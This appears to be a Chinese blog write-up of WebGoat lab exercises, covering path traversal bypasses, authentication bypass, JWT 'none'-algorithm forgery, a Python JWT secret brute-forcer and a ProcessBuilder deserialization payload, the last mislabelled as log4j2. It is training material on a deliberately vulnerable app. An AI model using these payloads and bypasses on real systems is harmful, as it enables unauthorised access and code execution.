安全基础~web攻防特性2

文章目录

  • 知识补充
  • Javaweb安全之webGoat
    • webgoat靶场搭建
    • 闯关
      • General
      • Injection
      • ldentity & Auth Failure
      • log4j2漏洞利用
  • JS项目&Node.JS框架安全

知识补充

Burpsuite Render在无法预览显示时,可以适当的清理缓存
win10下输入文字变成繁体解决

Javaweb安全之webGoat

webgoat靶场搭建

进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。
下载文件(最新版本包含新的漏洞靶场):
https://github.com/WebGoat/WebGoat/releases/
https://github.com/WebGoat/WebGoat/releases/
执行命令,开启靶场:
java -jar webgoat-server-8.0.0.M17.jar [–server.port=8080] [–server.address=localhost]
java -jar webwolf-8.0.0.M17.jar

eg
访问链接:http://127.0.0.1:8080/WebGoat,自动跳转login界面,注册登录。

其中webgoat用于进行WEB漏洞测试和学习的JAVA应用程序,webwolf用于模拟攻击者,其中提供了许多辅助攻击者的工具
webgoat搭建成功

参考文章1
参考文章2

闯关

General

Basics HTTP基础

  1. 随便输入字符串,经过服务器就给你逆序,不过这个输入框是存在xss的
  2. 就是逆序输出
  3. 输入框让输入POST或GET命令,输入魔法数字,抓包
    test
    注 \color{red}{注} :这个数字是会变的,需要每次抓包观察

Proxies HTTP代理

  1. 将参数输入进去,进入bp,右键change method
    Change the Method to GET
    Add a header ‘x-request-intercepted:true’
    Remove the request body and instead send ‘changeMe’ as a query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes)
    Then let the request continue through (by hitting the play button).
    test

Developer Tools 开发者工具

  1. Using the console
    在concle中输入webgoat.customjs.phoneHome(),将随机数粘贴进输入框
    eg
    6. Working with the Network tab
    在http请求的请求字段中包含一个networkNum字段,将随机数复制上去
    eg
    注 \color{red}{注} :想到为什么会在payload中才能看到这串数字
    前后端联调之Form Data与Request Payload,具体解释说道:该字段的出现类型主要伴随着Content-type的出现而出现

Injection

Path traversal 路径遍历
攻击者可以在其中访问或存储外部的文件和目录 应用程序的位置
解决问题:部分目录不允许上传可执行文件,向上级目录上传
查看源码:将jar宝解压,用idea打开,寻找对应的jar,添加道路,对源码进行查看

  1. 要求上传到C:\Users\2han/.webgoat-2023.8/PathTraversal位置,经过抓包后发现,其上传位置包含了一个resign,所以要上传到其上一级目录。
    要求修改目标位置
    @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
            return super.execute(file, fullName);
        }
    
    test
    成功过关
    成功
  2. 对上次实验做了修复,需要相同的结果,结果如下
    eg1
    第一行post到服务器端POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1,查找该文件,进行了单层过滤替代。
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
    }
    
    双写绕过
    eg2
  3. 一样是将文件上传到该位置,getOriginalFilename()得到上传时的文件名,所以从文件名入手。
    源码
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
        return super.execute(file, file.getOriginalFilename());
    }
    
    test
  4. 一样的,直接看源码
    如果参数为null,或者不包含…或/,则进入下面的代码;
    获取id,有id则赋值,若没有id,则生成一个1~10的随机数作为id;
    catPicture是id后面加了.jpg;
    若出现path-traversal-secret.jpg参数,返回ok。

源码
开始尝试,当传入id=1,有返回
test1
尝试查找path-traversal-secret,当有…/时会出现非法字符提示,尝试使用反斜杠\仍旧无法绕过,使用%2e%2e%2f进行绕过

test1
test2
result

总结:
目录遍历双写…/绕过,双写绕过;
返回400,说明服务器后台并未对目录遍历攻击作任何限制,但是并没有请求到资源;
GET 请求参数中不允许存在…与/时,通过 url 编码绕过,%2e%2e%2f为. ./;
当服务器只允许获取当前格式的资源时,使用空白字符绕过,%20,%2a;
当使用post传参时,仅修改可变参数。

ldentity & Auth Failure

Authentication Bypasses 身份认证绕过
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
根据第一行数据可查找后台代码

身份认证:
认证问题答案,很多选项:
你叫什么名字等等…只有两个问题(类似原来的qq密保类的东西)

接受键名和键值
s0=xiaodi&s1=湖北 正确
s3=null&s4=null发送数据
s3 s4为空,相当于NULL,那么就能进行绕过。
安全验证:
固定接受的数据:s0 s1判断你的数据 正常
不固定:s0 s1 正常
不固定:s2 s3不在数据库或者变量内,攻击者就能测试。
URL触发连接,访问地址:auth-bypass/verify-account

test

JWT tokens

解释

由三部分构成,以.分隔,出现在cookie上
滥用危害

The token is base64 encoded and consists of three parts:

1.header是base64编码后的头部信息    
	{'typ': 'JWT','alg': 'HS256'}    
	定义了声明token类型和签名算法alg   
2.payload是base编码的载荷部分,用来包含用户名,权限等数据    
	iss (issuer):签发人       
	sub (subject):主题   
	aud (audience):受众     
	exp (expiration time):过期时间   
	nbf (Not Before):生效时间,在此之前是无效的     
	iat (Issued At):签发时间  
	jti (JWT ID):编号    
	-定义一个payload:{
	"sub": "l3ife",
	"name": "l3ife",
	 "iat": 888888}
	 对其进行base64加密,得到jwt的第二部分
	eyJzdWIiOiJsM2lmZSIsIm5hbWUiOiJsM2lmZSIsImlhdCI6ODg4ODg4fQ
3.signature,把前两段的base密文通过﹐拼接起来,然后对其进行HS256加密,再然后对 hs256密文进行base64url加密,最终得到token的第三段。
HS256加密:
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
   
RS256加密:      
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)

解密平台:https://jwt.io/

JWT创建过程
用户在成功对服务器进行身份验证时使用用户名和密码登录返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续调用服务器,它将新令牌附加到“Authorization”标头中。 服务器读取令牌并首先验证签名,验证成功后,服务器使用令牌中用于标识用户的信息。

  1. 用户无法投票,只有成为管理员才可以投票,需要更改令牌成为管理员用户,成了管理员用户才可以重置投票
    展示
    bp1
    声明加密方法为HS512,第二部分声明用户名和权限,可以看到管理员权限为false
    将admin改为true,由于加密方法是HS512,且不知道秘钥,所以只能将alg的值改为none,即无加密方法。
    修改
    {
    “alg”: “none”
    }
    result1
    {
    “iat”: 1706459434,
    “admin”: “true”,
    “user”: “Tom”
    }
    result2
    11.  暴力破解便有可能将密钥解出。

    token:eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwNTYwNDg5NiwiZXhwIjoxNzA1NjA0OTU2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5aqiNb0jY1xvFycagd65E1eN0PsFhbgvhf8lBMXZTio

    结果
    暴力破解

    import jwt
    import termcolor
    if __name__ == "__main__":
        jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MTg5Njc3MiwiZXhwIjoxNjQxODk2ODMyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.ZaBAasksu_uUYloJwpaNwzRhpIaHNSSYxSANfmNZ1Rk'
        with open('top1000.txt') as f:
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, algorithms=["HS256"],verify=True, key=key_)
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')	# bingo! found key --> victory <--
    

    根据要求修改username为webgoat;将密钥填进去;修改一下exp的时间戳,只要比当前时间晚就好。

13.  之前的日志,找到一种方法去让tom花钱订购书,在日志中发现token
结果
抓结账的宝,修改jwt,exp为请求过期时间,加密方式使用none

result
参考链接
参考文章1
参考文章2

log4j2漏洞利用

<sorted-set>
 <string>foo</string>
 <dynamic-proxy>
 <interface>java.lang.Comparable</interface>
 <handler class="java.beans.EventHandler">
 <target class="java.lang.ProcessBuilder">
 <command>
 <string>calc.exe</string>
 </command>
 </target>
 <action>start</action>
 </handler>
 </dynamic-proxy>
</sorted-set>

JS项目&Node.JS框架安全

JavaScript语言可以通过其网站本身代码检查查看,等同于白盒测试
在Javascript中也存在变量和函数,存在可控变量及函数调用,即参数漏洞

判断是否为js代码开发的web应用
插件wappalyzer
源代码简短
引入多个js文件
一般有/static/js/app.js 等顺序的js文件
cookie中有connect.sid

如何获取更多的JS文件?

JsFinder
Packer-Fuzzer
扫描器后缀替换字典

快速获取价值代码?

method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget

参考文章

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/335560.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

一键转换,让JPG轻松变身BMP - 提升办公效率,从这里开始!

在繁忙的办公环境中&#xff0c;我们总是在追求更高的效率&#xff0c;希望以更短的时间完成更多的任务。今天&#xff0c;我们将为您带来一款强大且实用的工具&#xff0c;它能帮助您快速将JPG格式的图片转换为BMP格式&#xff0c;让您在处理图片时更加得心应手。 首先&#x…

5分钟教会你如何在生产环境debug代码

前言 有时出现的线上bug在测试环境死活都不能复现&#xff0c;靠review代码猜测bug出现的原因&#xff0c;然后盲改代码直接在线上测试明显不靠谱。这时我们就需要在生产环境中debug代码&#xff0c;快速找到bug的原因&#xff0c;然后将锅丢出去。 生产环境的代码一般都是关闭…

怎么解决离散型制造业中的7大浪费

企业在生产管理中会产生各种浪费&#xff0c;MES可以巧妙结合精益化生产管理思想消除这些浪费。离散制造中的7大浪费&#xff1a; 1、生产不良 生产过程中出现废品、次品这类质量问题&#xff0c;一方面会消耗原材料、零部件等&#xff0c;另一方面生产、返修过程也会消耗人工…

Dicom标准里的 RescaleType

DCM_RescaleType 0x0028, 0x1054 这个 HU 和 us 是代表什么含义 之前去一个公司面试&#xff0c;问我&#xff0c; MR里灰阶是什么 CT里才叫CT值&#xff0c; MR里叫什么呢&#xff1f; DICOMLookup

selenium处理下拉框

当想要爬取的数据由下拉框来选择时&#xff0c;应该如何处理&#xff1f; 页面如下&#xff1a; 目的获得电影的详细信息&#xff0c;包括票房&#xff0c;上映日期等。 代码如下&#xff1a; from selenium import webdriver from selenium.webdriver.support.select impor…

LLM:Training Compute-Optimal Large Language Models

论文&#xff1a;https://arxiv.org/pdf/2203.15556.pdf 发表&#xff1a;2022 前文回顾&#xff1a; OpenAI在2020年提出《Scaling Laws for Neural Language Models》&#xff1a;Scaling Laws(缩放法则&#xff09;也一直影响了后续大模型的训练。其给出的结论是最佳计算效…

2024PMP考试新考纲-【过程领域】近期典型真题和很详细解析(7)

华研荟继续为您分享【过程Process领域】的新考纲下的真题&#xff0c;进一步帮助大家体会和理解新考纲下PMP的考试特点和如何应用知识来解题&#xff0c;并且举一反三&#xff0c;一次性、高等级通过2024年PMP考试。 2024年PMP考试新考纲-【过程领域】真题解析31 题&#xff1…

【4k】4k的webrtc播放示例

目录 使用带研发角色的账号&#xff0c;在app端设置下分辨率 &#xff1a; 4k 点播 ffplay播放看下详细的参数 使用带研发角色的账号&#xff0c;在app端设置下分辨率 &#xff1a; 4k 点播 ffplay播放看下详细的参数

Pytest插件“pytest-selenium” - 让自动化测试更简洁

在现代Web应用的开发中,自动化测试成为确保网站质量的重要手段之一。而Pytest插件 pytest-selenium 则为开发者提供了简单而强大的工具,以便于使用Python进行Web应用的自动化测试。本文将深入介绍 pytest-selenium 插件的基本用法和实际案例,助你轻松进入无忧的Web应用测试之…

Pytorch从零开始实战17

Pytorch从零开始实战——生成对抗网络入门 本系列来源于365天深度学习训练营 原作者K同学 文章目录 Pytorch从零开始实战——生成对抗网络入门环境准备模型定义开始训练总结 环境准备 本文基于Jupyter notebook&#xff0c;使用Python3.8&#xff0c;Pytorch1.8cpu&#xf…

CSS 浮动 定位

文章目录 网页布局的本质浮动如何设置浮动测试浮动 定位相对定位绝对定位测试定位 网页布局的本质 用 CSS 来摆放盒子&#xff0c;把盒子摆放到相应位置。 CSS 提供了三种传统布局方式&#xff08;简单说就是盒子如何进行排列&#xff09;。 普通流&#xff08;标准流&#…

后面的输入框与前面的联动,输入框只能输入正数(不用正则)

概要 提示&#xff1a;这里可以描述概要 前面的输入框是发票金额&#xff0c;后面的输入框是累计发票金额&#xff08;含本次&#xff09;--含本次就代表后倾请求的接口的数据&#xff08;不是保存后返显的-因为保存后返显的是含本次&#xff09;是不含本次的所以在输入发票金…

从数据角度分析年龄与NBA球员赛场表现的关系【数据分析项目分享】

好久不见朋友们&#xff0c;今天给大家分享一个我自己很感兴趣的话题分析——NBA球员表现跟年龄关系到底大不大&#xff1f;数据来源于Kaggle&#xff0c;感兴趣的朋友可以点赞评论留言&#xff0c;我会将数据同代码一起发送给你。 目录 NBA球员表现的探索性数据分析导入Python…

会话跟踪技术(cookiesession)

文章目录 1、什么是会话跟踪技术2、Cookie2.1、Cookie基本使用2.2、Cookie原理2.3、Cookie使用细节 3、Session3.1、Session基本使用3.2、Session原理3.3、Session使用细节 4、Cookie和Session的对比 1、什么是会话跟踪技术 会话 ​ 用户打开浏览器&#xff0c;访问web服务器的…

在行情一般的情况下,就说说23级应届生如何找java工作

Java应届生找工作&#xff0c;不能单靠背面试题&#xff0c;更不能在简历中堆砌和找工作关系不大的校园实践经历&#xff0c;而是更要在面试中能证明自己的java相关商业项目经验。其实不少应届生Java求职者不是说没真实Java项目经验&#xff0c;而是不知道怎么挖掘&#xff0c;…

DB107S-ASEMI智能LED灯具专用DB107S

编辑&#xff1a;ll DB107S-ASEMI智能LED灯具专用DB107S 型号&#xff1a;DB107S 品牌&#xff1a;ASEMI 封装&#xff1a;DBS-4 最大重复峰值反向电压&#xff1a;1000V 最大正向平均整流电流(Vdss)&#xff1a;1A 功率(Pd)&#xff1a;50W 芯片个数&#xff1a;4 引…

浅析智能家居企业面临的组网问题及解决方案

在这个快速发展的时代&#xff0c;组网对于企业的发展来说是一个至关重要的环节。 案例背景&#xff1a; 案例企业是一家智能家居制造企业&#xff0c;在不同城市分布有分公司、店铺、工厂&#xff0c;这些点原本都是各自采购网络&#xff0c;与总部进行日常沟通、访问。 现在…

Linux用户与文件的关系和文件掩码(umask)的作用

文章目录 1 前言2 Linux用户与文件的关系3 文件掩码&#xff08;umask&#xff09;4 总结 1 前言 阅读本篇文章&#xff0c;你将了解Linux的目录结构&#xff0c;用户与文件的关系&#xff0c;以及文件掩码的作用。为了方便大家理解&#xff0c;本文将通过实例进行演示&#xf…

外卖系统创新:智能推荐与用户个性化体验

外卖系统的日益普及使得用户对于更智能、个性化的体验有着不断增长的期望。在这篇文章中&#xff0c;我们将探讨如何通过智能推荐技术&#xff0c;为用户提供更贴心、更符合口味的外卖选择。我们将使用 Python 和基于协同过滤的推荐算法作为示例&#xff0c;让您更深入地了解智…

【分布式技术】Elastic Stack部署,实操logstash的过滤模块常用四大插件

目录 一、Elastic Stack&#xff0c;之前被称为ELK Stack 完成ELK与Filebeat对接 步骤一&#xff1a;安装nginx做测试 步骤二&#xff1a;完成filebeat二进制部署 步骤三&#xff1a;准备logstash的测试文件filebeat.conf 步骤四&#xff1a;完成实验测试 二、logstash拥有…